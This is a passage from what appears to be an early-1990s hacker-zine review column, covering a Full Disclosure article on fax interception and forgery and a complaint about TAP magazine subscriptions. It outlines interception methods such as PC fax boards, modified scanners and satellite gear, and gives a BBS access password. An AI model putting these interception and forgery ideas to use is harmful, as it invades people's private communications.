accept original signatures. How could the average Phrack reader start intercepting faxes? Use a standard fax machine hooked up to someone's line? Naaah. Wouldn't work. The handshaking routine between the two corresponding fax machines would be screwed all to hell if you threw a third machine into the mix. Full Disclosure claims to have successfully nabbed faxes with another method. They've pointed out this assertion with a photo on their front page of a "fax". It was supposedly intercepted from the FBI. It shows a computer screen with an FBI "FAX" on it. It looks more like the photo was made with some cutting and pasting at the neighborhood PIP store. Maybe they should have added the caption "Simulated Picture" to their front page. They recommend using IBM PC fax boards to intercept faxes. You'd need "sophisticated" software that would ignore the handshaking sequences between the two fax machines you're spying on. The IBM would just save all the page information and ignore the protocol information transmitted. Back to the article.... | Cellular phone-based fax machines provide ripe opportunity for "hacker" | intercepts, since the signal is available via low cost police scanners.* | No physical connection to a common carrier network is necessary. There is | absolutely no risk of being detected. *Note: That should read MODIFIED police scanners. See any of the ads in "Nuts & Volts" for a book on doing this. Discussed in the article is something called Broadband Interception. Commercial fax interception equipment can be hooked up to monitor satellite link traffic. One unit can decode up to 150 simultaneous fax transmissions from a 6,000 phone line satellite link. Next, all the consequences of forged faxes are discussed. People have become so reliant on fax technology that they incorrectly assume that anything that "comes over the fax" must be legitimate. Forgers find faxing much simpler than trying to make a "real" document. The trouble of altering postmarks and signatures is bypassed. All they need now is scissors and tape to make any "legitimate-looking" document needed. In their next issue, they further discuss fax interception and all the implications of sending sensitive info by fax. | Fax Intercept Suppliers | (The sale and/or use of fax interception equipment may be | restricted by State and Federal law) | | Burlex International, Box 6094, Silver Springs MD 20906 (301) 460-4444; | Communications Devices,3510 Mountain Rd,Haymarket VA 22069 (703) 754-9316; | El-Tec Intl, 205 Van Buren St #220, Herndon VA 22080 (703) 709-9673; | [Many others listed] Oh, here's an ad from Full Disclosure. It's a business card run: ______________________________________________________ | | | | | Unix Systems Specialists Available July 10, 1992 | | | | | | L E N R O S E | | | | | | Convicted "Hacker" | | | and | | | Computer Consultant | | | 799 Royal St. Geore #105 | | | Naperville, IL 60563 (708) 527-1293 | | |______________________________________________________| Since you might want to check out a copy of Full Disclosure for yourself, I'll include their address and stuff. The issue I had was 16 pages long, half-newspaper size. ______________________________________________________________________________ A Review of TAP #105 ~~~~~~~~~~~~~~~~~~~ TAP Magazine Subscription Rates: PO Box 20264 10 issues for $10.00 Louisville KY 40250-0264 by Dispater Around March of 1991 I mailed in my $10. for a subscription to TAP Magazine. Promoted as "the oldest hacker magazine" and "created by Abbie Hoffman." I still, to this day, have not received ONE issue for my money. While attending CyberView '91, I met Predat0r and gave him $5.00 for a few back issues consisting of #97, #100 through issue #104. I was later given a complimentary issue of #105. After asking about #98 & #99, Predat0r said that he wasn't going to give those out because of some bullshit with Aristotle. Whatever...I still don't see why we couldn't see it. Anyway, Issue #105 of TAP Magazine (June 1991) was nothing spectacular, but it wasn't bad either. The issue was 18 pages long. For those of you who have never seen it, TAP contains information on hacking and phreaking as well as some political commentary. The articles are always diverse and interesting. TAP #105 contained information about the DNA Box. This is basically cellular phone phreaking. It was very good and quite detailed. There were also schematics of bugs and a flow chart explaining the incident initiation sequence of the E-911 system. This issue of TAP was sprinkled with some neat advertisements and news clippings (as usual) and wrapped up with a file about Blue Boxing. The price of $10.00 for 10 issues is worth it, but read on... Last week I asked Predat0r what was going on with TAP magazine. He told me that he had the material for the next three issues, but his copier or some other equipment was broken. This is an excuse I have heard before. Whether it is a valid excuse or not, only he knows. Since issue #105 (June) there has been not one issue of TAP. If you have ordered a subscription prior to July and not received anything, I highly suggest you write to Predat0r. The material contained in TAP is good and very much worth the price. (Especially compared to 2600 Magazine) However, I find that the general management of TAP to be poor, at this time, and therefore I highly recommend that you NOT send your $10 to TAP Magazine. Considering the amount of advertisements that we have all seen by TAP (in magazines such as Mondo 2000, 2600, etc.) in the past year, there is no excuse for the non-existent service that has transpired. Predat0r is a good sysop and needs to manage TAP as he does his BBS. I do urge you to call BLITZKREIG BBS (502) 499-8933 : NUP: COLUMBIAN COKE. I really don't like to be so critical, but I know some people I've talked to are feeling ripped off. This is why I wrote this. I truly hope that TAP can get out of this slump. _______________________________________________________________________________


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